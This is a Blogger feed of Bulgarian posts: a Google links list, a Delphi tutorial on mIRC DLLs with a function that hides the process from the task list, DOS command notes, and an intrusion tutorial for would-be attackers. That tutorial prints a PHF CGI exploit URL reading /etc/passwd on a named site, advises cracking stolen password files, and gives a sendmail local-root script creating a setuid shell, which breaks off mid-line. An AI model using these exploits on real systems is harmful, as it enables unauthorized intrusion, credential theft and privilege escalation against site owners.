<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1313300952954596524</id><updated>2024-09-12T03:55:50.013-07:00</updated><title type='text'>paparazzix</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>40</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-8970412546923153840</id><published>2010-12-04T07:19:00.001-08:00</published><updated>2010-12-04T07:19:45.578-08:00</updated><title type='text'></title><content type='html'>&lt;iframe id=&quot;frame_id&quot; name=&quot;frame_name&quot; src=&quot;http://www.fromsport.com:9001/webmasters/webmaster_iframe.php?layout=webmaster_iframe&amp;amp;sport[]=1&amp;amp;timezone=0&amp;amp;fontcolor=000000&amp;amp;linkcolor=000000&amp;amp;backgroundcolor=d0d4d9&amp;amp;hoverlinkcolor=000000&amp;amp;contentbgcolor=ffffff&amp;amp;activetabbgcolor=ffffff&amp;amp;notactivetabbgcolor=6b7d98&amp;amp;activtabtextcolor=6b7d98&amp;amp;notactivtabtextcolor=ffffff&amp;amp;slidebgcolor=F7F8FA&amp;amp;slidebordercolor=D0D5D9&amp;amp;slidetextcolor=000000&amp;amp;tvtextcolor=006acc&amp;amp;tv1bgcolor=ffffff&amp;amp;tv2bgcolor=f7f7f7&amp;amp;tvhoverbgcolor=ececec&amp;amp;font=Tahoma&amp;amp;fontsize=12&amp;amp;slidetextsize=12&amp;amp;tvtextsize=12&quot; width=&quot;100%&quot; height=&quot;600&quot; scrolling=&quot;auto&quot; align=&quot;top&quot; frameborder=&quot;0&quot;&gt;Your browser does not support frames, so you will not be able to view this page.&lt;/iframe&gt;</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/8970412546923153840/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/8970412546923153840' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8970412546923153840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8970412546923153840'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2010/12/your-browser-does-not-support-frames-so.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-5576155964701399544</id><published>2008-02-28T07:29:00.000-08:00</published><updated>2008-02-28T07:30:48.455-08:00</updated><title type='text'></title><content type='html'></content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/5576155964701399544/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/5576155964701399544' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/5576155964701399544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/5576155964701399544'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/blog-post_4145.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-6118558262780936109</id><published>2008-02-28T07:20:00.000-08:00</published><updated>2008-02-28T07:29:45.933-08:00</updated><title type='text'></title><content type='html'></content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/6118558262780936109/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/6118558262780936109' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6118558262780936109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6118558262780936109'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/blog-post_1180.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-5898861252605615003</id><published>2008-02-28T07:17:00.003-08:00</published><updated>2008-02-28T07:17:45.776-08:00</updated><title type='text'></title><content type='html'>http://www.google.com/lochp - намира местни предприятия и услуги.&lt;br /&gt;http://www.google.com/mac.html - страници за Aplle/Macintosh.&lt;br /&gt;http://www.google.com/options/universities.html - търсачка на университети.&lt;br /&gt;http://www.google.com/linux - Linux страници.&lt;br /&gt;http://www.google.com/unclesam - търси всички *.gov страници - държавни, и всички *.mil - военни страници.&lt;br /&gt;http://froogle.google.com/ - стоки.&lt;br /&gt;http://www.google.com/options/index.html - опции на Google.&lt;br /&gt;http://www.google.com/sitemap.html - карта на сайта.&lt;br /&gt;http://www.google.ru/help/features.html - пазнообразни опции за търсене.&lt;br /&gt;http://www.google.com/microsoft - търси в страниците наMicro$oft.&lt;br /&gt;http://labs.google.com/ - услугите на Гугъл&lt;br /&gt;http://www.google.com/intl/xx-hacker/ - 31337 стила, като за хакери.&lt;br /&gt;http://www.google.com/bsd - BSD страници.&lt;br /&gt;http://www.alltooflat.com/geeky/elgoog/ - Гугъл наопаки.&lt;br /&gt;http://scholar.google.com/ - търси - статии,книги,учебници.&lt;br /&gt;http://www.google.com/firefox - за маниаци на Mazilla Firefox.&lt;br /&gt;http://www.google.com/webhp?complete=1&amp;hl=en - докато пишете някоя дума в търсачката,Google прави предложения на възможните варианти и колко страници ще покаже.&lt;br /&gt;http://www.cheatoogle.com/ - читове и кодове за игри.&lt;br /&gt;https://gmail.google.com/ - поща от Google.&lt;br /&gt;http://video.google.com/ - търси видео.&lt;br /&gt;http://www.google.com/xhtml - мини-версия за мобилни телефони.&lt;br /&gt;http://mobile.google.com/ - още един вариант.&lt;br /&gt;http://maps.google.com/ - търси карти.&lt;br /&gt;http://www.google.com/googleblog/ - официалния блог на Google.&lt;br /&gt;http://news.google.com/ - новости от Google&lt;br /&gt;http://print.google.com/ - търси из милионите цифрови издания на Оксфорд,Харварт,Мичиган и Ню-Йоркската публична библиотека.&lt;br /&gt;http://earth.google.com/ - програма от Google за наблюдение на земята от космоса.&lt;br /&gt;http://www.cantfindongoogle.com/- фен-сайт за търсене по въпроси,на които Гугъл не дава отговор.&lt;br /&gt;&lt;br /&gt;___________NEW_______________&lt;br /&gt;http://www.google.com/googlegulp/ - напитки от Google:)&lt;br /&gt;http://www.google.com/webmasters/guidelines.html - Информация и съвети за уеб-дизайнери.&lt;br /&gt;http://google.com/reader - Google Reader&lt;br /&gt;http://code.google.com/ - за програмисти,Open Source software.&lt;br /&gt;https://vpn.google.com/getpass/ - безплатен VPN-сервис от Google.&lt;br /&gt;http://answers.google.com/answers/ - задава въпрос със сума за награда.&lt;br /&gt;https://www.google.com/psearch/login?prev=h.../psearch/&amp;hl=en - търси с ваши настройки.&lt;br /&gt;http://www.google.com/ig - настройте външния вид на Гугъл по ваш вкус.&lt;br /&gt;http://base.google.com/ - база данни от Гугъл, търсете всичко.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/5898861252605615003/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/5898861252605615003' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/5898861252605615003'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/5898861252605615003'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/httpwww_28.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-6661751554175922709</id><published>2008-02-28T07:17:00.001-08:00</published><updated>2008-02-28T07:17:32.798-08:00</updated><title type='text'></title><content type='html'>Работа с DLL файлове в mIRC &lt;br /&gt;by |Razor| &lt;br /&gt;naskom@gec.rakursy.com&lt;br /&gt;&lt;br /&gt;Intro: &lt;br /&gt;mIRC е програма позволяваща достъп до напоследък така разпространената IRC(Internet Relay Chat) мрежа. Предполагам, че сред читателите на тази статия няма човек, който да не е използува mIRC, за да се свързва с други хора по света. &lt;br /&gt;&lt;br /&gt;Софтуера поддържа голям набор от команди, които позволяват да се пишат различни скриптове: от извеждане текст на екрана до големи троянски коне. Единственото ограничение, което имаха старите версии (нямам информация до коя точно) беше не-поддържането на команди от DLL файлове &lt;br /&gt;А какво всъщност представляват DLL файловете? &lt;br /&gt;Това са компилирани библиотеки за Windows съдържащи определени функции, които се използуват външно от други програми. Така например, за да получи координатите на курсора на мишката, съответната програма извиква подпрограмата GetCursorPos намираща се в DLL файла user32.dll. &lt;br /&gt;&lt;br /&gt;И както казах по-горе, след сложената поддръжка на DLL файлове, mIRC скриптовете могат да правят ВСИЧКО, което могат да правят обикновенните програми. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Tools: &lt;br /&gt;Borland Delphi 3.0 или по-висока версия &lt;br /&gt;IRC клиент (самата програма mIRC) &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Begin: &lt;br /&gt;В help файла на mIRC има описание как могат да се създадат такива DLL файлове, но за обикновенния потребител това описание е крайно недостатъчно. &lt;br /&gt;И така нека да започваме. &lt;br /&gt;Както може би разбрахте нашите DLL файлове ще ги пишем на Delphi и познанията ви на този език ще са полезни при четенето на статията. &lt;br /&gt;Нека видим каква е структурата на един DLL файл в Delphi: &lt;br /&gt;&lt;br /&gt;library Name; &lt;br /&gt;&lt;br /&gt;uses Unit1, Unit2...; &lt;br /&gt;&lt;br /&gt;type...; &lt;br /&gt;const ...; &lt;br /&gt;var....; &lt;br /&gt;&lt;br /&gt;function1 (params:anytypes):returnval; &lt;br /&gt;... &lt;br /&gt;... &lt;br /&gt;end; &lt;br /&gt;&lt;br /&gt;function2 (params:anytypes):returnval; &lt;br /&gt;... &lt;br /&gt;... &lt;br /&gt;end; &lt;br /&gt;&lt;br /&gt;exports function1, function2; &lt;br /&gt;&lt;br /&gt;end. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Както виждате всичко е същото като в обикновенните програми. Изключение прави само library и exports. &lt;br /&gt;Е явно се досетихте и сами, че library указва името на DLL файла, а exports функциите, които ще бъдат &quot;експортирани&quot; (изнесени), за ползуване от външни програми. &lt;br /&gt;&lt;br /&gt;До тук със формата на DLL файловете в Delphi. &lt;br /&gt;Сега нека погледнем в help файла на mIRC и видим каква информация ни е предоставена за извикването на DLL процедури и за изисквания от програмата формат на тези процедури: &lt;br /&gt;&lt;br /&gt;Изпълнението на команда от DLL файл става посредством следните два варианта: &lt;br /&gt;/dll &lt;dll_file.dll&gt; &lt;procname&gt; [data] &lt;br /&gt;$dll(dll_file.dll, procname, data) &lt;br /&gt;&lt;br /&gt;Първият вариант просто изпълнява командата без да връща резултат, а втория връща резултата от изпълнената функция (като 32-битово число) &lt;br /&gt;&lt;br /&gt;Колкото до изисквания формат на процедурите, той е следния: &lt;br /&gt;int __declspec(dllexport) FAR PASCAL procname(HWND mWnd, HWND aWnd, char *data, char *parms, BOOL show, BOOL nopause) &lt;br /&gt;&lt;br /&gt;Това е формата, в който трябва да бъде зададена всяка функция. Ако това не ви се вижда достатъчно ясно, нека го запишем както би изглеждало в Delphi. &lt;br /&gt;&lt;br /&gt;function f1(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall; &lt;br /&gt;&lt;br /&gt;Ако сега не ви стана по-ясно...Alt+F4 :) &lt;br /&gt;&lt;br /&gt;Та когато потребителя напише &quot;/dll file.dll Procedure Parameters&quot;, mIRC прави заявка към съответната процедура със следните параметри: &lt;br /&gt;&lt;br /&gt; - mWnd - това е handle-а на основния прозорец на mIRC &lt;br /&gt;&lt;br /&gt; - aWnd - това най-често е handle-a на активния прозорец в програмата &lt;br /&gt;&lt;br /&gt; - data - това са зададените от нас параметри. Важно е да се знае, че на тази променлива може да се зададе стойност в DLL файла и след това тази стойност може да се манипулира обратно от самия скрипт &lt;br /&gt;&lt;br /&gt; - show - ако след &quot;/&quot; напишем &quot;.&quot;, програмата няма да извади никакъв текст от изпълнението на командата (това се използува при NickServ bot identify например). Този параметър показва дали тази точка е сложена (TRUE) или не е (FALSE) &lt;br /&gt;&lt;br /&gt;Това са основните параметри, които ще използуваме. Сега нека видим един примерен DLL файл, който ще покаже MessageBox със зададен от нас текст. &lt;br /&gt;&lt;br /&gt;Функцията в DLL файла (например test.dll) би изглеждала така: &lt;br /&gt;function MsgB(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall; &lt;br /&gt;begin &lt;br /&gt;ShowMessage(Data); &lt;br /&gt;Result:=1; &lt;br /&gt;end; &lt;br /&gt;&lt;br /&gt;А съответното извикване ще бъде: &lt;br /&gt;/dll test.dll MsgB Hello &lt;br /&gt;&lt;br /&gt;Обърнете внимание на последния ред &quot;Result:=1;&quot;. Връщаните от функцията стойности се третират от mIRC по следния начин: &lt;br /&gt;&lt;br /&gt;  0 - означава, че mIRC трябва да изпълни командата /halt и да спре процеса след изпълнението на процедурата &lt;br /&gt;&lt;br /&gt;  1 - означава, че mIRC трябва да продължи процеса &lt;br /&gt;&lt;br /&gt;  3 - означава, че на променливата Data е присвоена стойност, която $dll трябва да върне &lt;br /&gt;&lt;br /&gt;И за накрая ето ви пример за един DLL файл с две процедури...за скриване на прозореца на mIRC и за скриване на mIRC от списъка със задачите(Close Program): &lt;br /&gt;&lt;br /&gt;library mirc_dll; &lt;br /&gt;&lt;br /&gt;uses &lt;br /&gt;  SysUtils, &lt;br /&gt;  Classes, &lt;br /&gt;  Windows; &lt;br /&gt;&lt;br /&gt;function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; &lt;br /&gt;  stdcall; external &#39;KERNEL32.DLL&#39;; &lt;br /&gt;&lt;br /&gt;function HideMirc(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall; &lt;br /&gt;begin &lt;br /&gt;ShowWindow(mWnd,0); &lt;br /&gt;result:=0; &lt;br /&gt;end; &lt;br /&gt;&lt;br /&gt;function StealthMode(mWnd: hWnd; aWnd: hWnd; Data: PChar; Parms: PChar; Show: Boolean; NoPause: Boolean ): Integer;export;stdcall; &lt;br /&gt;begin &lt;br /&gt;RegisterServiceProcess(GetCurrentProcessID,1); &lt;br /&gt;result:=0; &lt;br /&gt;end; &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;exports &lt;br /&gt;HideMirc, StealthMode; &lt;br /&gt;&lt;br /&gt;end. &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Ако все още имате нещо неясно по въпроса, можете винаги да ми изпратите e-mail и да ме питате.</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/6661751554175922709/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/6661751554175922709' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6661751554175922709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6661751554175922709'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/dll-mirc-by-razor-naskomgec.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-6377128133435618125</id><published>2008-02-28T07:16:00.004-08:00</published><updated>2008-02-28T07:17:16.700-08:00</updated><title type='text'></title><content type='html'>x=msgbox(&quot;name&quot;).vbs</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/6377128133435618125/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/6377128133435618125' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6377128133435618125'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6377128133435618125'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/xmsgboxname.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-6402986438318730424</id><published>2008-02-28T07:16:00.003-08:00</published><updated>2008-02-28T07:16:44.051-08:00</updated><title type='text'></title><content type='html'>1GRAPHICS [type] [filename] [/r] [/b] [/lcd] [/printbox:id]&lt;br /&gt;&lt;br /&gt;2GRAFTABL [xxx | /status]&lt;br /&gt;&lt;br /&gt;3p class=&quot;syntax&quot;&gt;KEYB [xx[,yyy][,filename]]] [/e] [/id:nnn] &lt;br /&gt;• xx specifies a two letter keyboard code&lt;br /&gt;• yyy specifies the code page for the character set&lt;br /&gt;• filename specifies the name of the keyboard definition file. If you miss this out, DOS uses the file KEYBOARD.SYS and searches the path for it.&lt;br /&gt;• /e specifies that a 101/102/MS Natural Keyboard (or compatible) is installed (DOS 5+)&lt;br /&gt;• /id:nnn specifies the keyboard ID for countries with more than one keyboard layout (such as France and Italy).&lt;br /&gt;DOS versions prior to 3.3 use only the following codes. There is no space between the KEYB command and the letter, such as KEYBSP. &lt;br /&gt;&lt;br /&gt;4.lincove absolute hacker-- http://www.nukesoft.co.uk/msdos/</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/6402986438318730424/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/6402986438318730424' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6402986438318730424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/6402986438318730424'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/1graphics-type-filename-r-b-lcd.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-8549539415660350829</id><published>2008-02-28T07:16:00.001-08:00</published><updated>2008-02-28T07:16:30.386-08:00</updated><title type='text'></title><content type='html'>---===WEB-HACK===---&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;**************&lt;br /&gt;Сайт, где вы скачали этот архив: http://www.web-hack.boom.ru/ или http://whg.chat.ru/&lt;br /&gt;WEB-HACK - это это сайт специализирующийся на компьютерной безопасности и хакерстве. На нем вы найдете множество статей, советов, приколов, программ и многого другого!&lt;br /&gt;**************&lt;br /&gt;За все, что находиться на этом сайте или относится к этому сайту (информация, программы и т.д.) и за возможный последующий вред нанесенный этим - автор сайта ответственности не несет, так как ВСЕ выложено только для ознакомления с возможной опасностью!&lt;br /&gt;**************</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/8549539415660350829/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/8549539415660350829' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8549539415660350829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/8549539415660350829'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/web-hack-httpwww.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-7504214787307682452</id><published>2008-02-28T07:15:00.006-08:00</published><updated>2008-02-28T07:16:16.776-08:00</updated><title type='text'></title><content type='html'>Хак на web site&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    E добре гадини! Май много искате да хакнете некой уеб пейдж, а?! Сега ще ви покажем как да стане тоя номер. Не е зле да се поровите из нет-а за други такива материали (можете да научите нещо все пак!!!). Ето сега...&lt;br /&gt;    Преди всичко трябва да се ПАЗИТЕ АДСКИ МНОГО защото ако хакнете нещо голямо оттам могат лесно да проверят log файловете да видят адреса Ви и да Ви дойдат на гости =]&lt;br /&gt; АКО това Ви се стори доста сложно минете по-надолу, все ще се намери някакъв начин за хакване, а може и на Вас да Ви дойде&lt;br /&gt;идеята. Все пак и сложните неща са направени от прости:)))))&lt;br /&gt;&lt;br /&gt;    oВзимане на парола през FTP&lt;br /&gt;&lt;br /&gt;    Един от най-лесните начини да направите това е през аnonymous ftp вход в дадена стрница. Сега... трябва малко да научите&lt;br /&gt;password файла. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root:User:d7Bdg:1n2HG2:1127:20:Superuser&lt;br /&gt;IvanIvanov:p5Y(h0tiC:1229:20:Ivan Ivanov,:/usr/people/ivanivanov:/bin/csh&lt;br /&gt;RalicaPetrova:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/rpetrova:/bin/csh&lt;br /&gt;&lt;br /&gt;    Това е пример за един редовен password файл. Superuser - ът е частта която Ви дава root права. Това е същинската част на файла.&lt;br /&gt;&lt;br /&gt;root:x:0:1:Superuser:/:&lt;br /&gt;ftp:x:202:102:Anonymous ftp:/u1/ftp:&lt;br /&gt;ftpadmin:x:203:102:ftp Administrator:/u1/ftp&lt;br /&gt;&lt;br /&gt;    Това е още един пример на password файл, но има само малко различие, той е shadowed (затъмнен, засенчен, прикрит...).&lt;br /&gt;Тези shadowed password файлове не позволяват да се види или да се копира истинската криптирана парола. Ето това вече създава&lt;br /&gt;проблеми на кракера на пароли и diction maker - а. Отдолу има още един пример за shadowed password файл:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root:x:0:1:0000-Admin(0000):/:/usr/bin/csh&lt;br /&gt;daemon:x:1:1:0000-Admin(0000):/:&lt;br /&gt;bin:x:2:2:0000-Admin(0000):/usr/bin:&lt;br /&gt;sys:x:3:3:0000-Admin(0000):/:&lt;br /&gt;adm:x:4:4:0000-Admin(0000):/var/adm:&lt;br /&gt;lp:x:71:8:0000-lp(0000):/usr/spool/lp:&lt;br /&gt;smtp:x:0:0:mail daemon user:/:&lt;br /&gt;uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:&lt;br /&gt;nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico&lt;br /&gt;listen:x:37:4:Network Admin:/usr/net/nls:&lt;br /&gt;nobody:x:60001:60001:uid no body:/:&lt;br /&gt;noaccess:x:60002:60002:uid no access:/:&lt;br /&gt;webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh&lt;br /&gt;pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/&lt;br /&gt;false&lt;br /&gt;ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false&lt;br /&gt;&lt;br /&gt;    Затъмнените password файлове имат &quot;х&quot; на мястото на паролата. Сега ще си поговорим как да я кракнем.&lt;br /&gt;Кракаването не е толкова сложно както изглежда, въпреки че файловете се променят от система към система. &lt;br /&gt;1. Първото е да копирате или да си свалите файла.&lt;br /&gt;2. След това трябва да намерите някой добър кракер или dictionary maker, но е много трудно! Има там некфи ама те са малко...&lt;br /&gt;Малко са добритееее в бранша. Препоръчваме да потърсите Cracker Jack, John the Ripper, Brute Force Cracker или Jack the &lt;br /&gt;Ripper. Сега за dictionary maker или &quot;речников файл&quot;... Когато стартирате крак програмата ще бъдете попитан за thepassword файла.&lt;br /&gt;И ето сега за какво ни е dictionary maker - а. Какво всъщност е той? Това представлява програма, която комбинира всички &lt;br /&gt;възможни комбанации с букви (ASCII, главни букви, малки букви, могат да се добавят и цифри). Такава програма можете да си&lt;br /&gt;намерите навсякъде. Отидете в astalavista.com... а и при нас има такива програмки. След като вече разполагате с такава &lt;br /&gt;следвайте инструкциите на програмата.&lt;br /&gt;&lt;br /&gt;    oPНF Техника&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Това е един страхотен бъг, но повечето сървъри вече го усетиха и го остраниха. Това е най-простият начин за взимане на &lt;br /&gt;парола, но става само в 95% от случаите, кофти... Единственото което трябва да направите е да си отворите browser - чето и &lt;br /&gt;в полето където трябва да въведете адреса пишете:&lt;br /&gt;&lt;br /&gt;http://nekav_web_site/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;Например ако желаният сайт е mailpd.com в полето пишете:&lt;br /&gt;&lt;br /&gt;http://www.mailpd.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt;&lt;br /&gt;    Така си сваляте password файла и си го краквате.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    oTELNET и експлойти&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Ами експлоитите (exploits) са най-добрия начин да хакнете уеб сайт, но са толкова сложни както проникването през FTP. &lt;br /&gt;За да започнете с експлойта трябва да разполагате с telnet клиент. Това става пак като го намерите в мрежата. Търсете...&lt;br /&gt;Най-добре е да си вземете account с името на сайта, който искате да хакнете. Експлойтите разкриват бъговете и грешките на &lt;br /&gt;дадена система и Ви позволяват да придобиете root права. &lt;br /&gt;    Има адски много експлойти за такава работа и пак трябва да се поровите малко... Ето Ви тука един известен като sendmail. &lt;br /&gt;Всичко се прави през telnet:&lt;br /&gt;&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/x.c&lt;br /&gt;#define RUN &quot;/bin/ksh&quot;&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;execl(RUN,RUN,NULL);&lt;br /&gt;}&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/spawnfish.c&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;execl(&quot;/usr/lib/sendmail&quot;,&quot;/tmp/smtpd&quot;,0); &lt;br /&gt;} &lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/smtpd.c&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;setuid(0); setgid(0); &lt;br /&gt;system(&quot;chown root /tmp/x ;chmod 4755 /tmp/x&quot;);&lt;br /&gt;}&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;gcc -O -o /tmp/x /tmp/x.c&lt;br /&gt;gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c&lt;br /&gt;gcc -O3 -o /tmp/smtpd /tmp/smtpd.c&lt;br /&gt;#&lt;br /&gt;/tmp/spawnfish&lt;br /&gt;kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/&quot;[ ]*&quot;// |cut 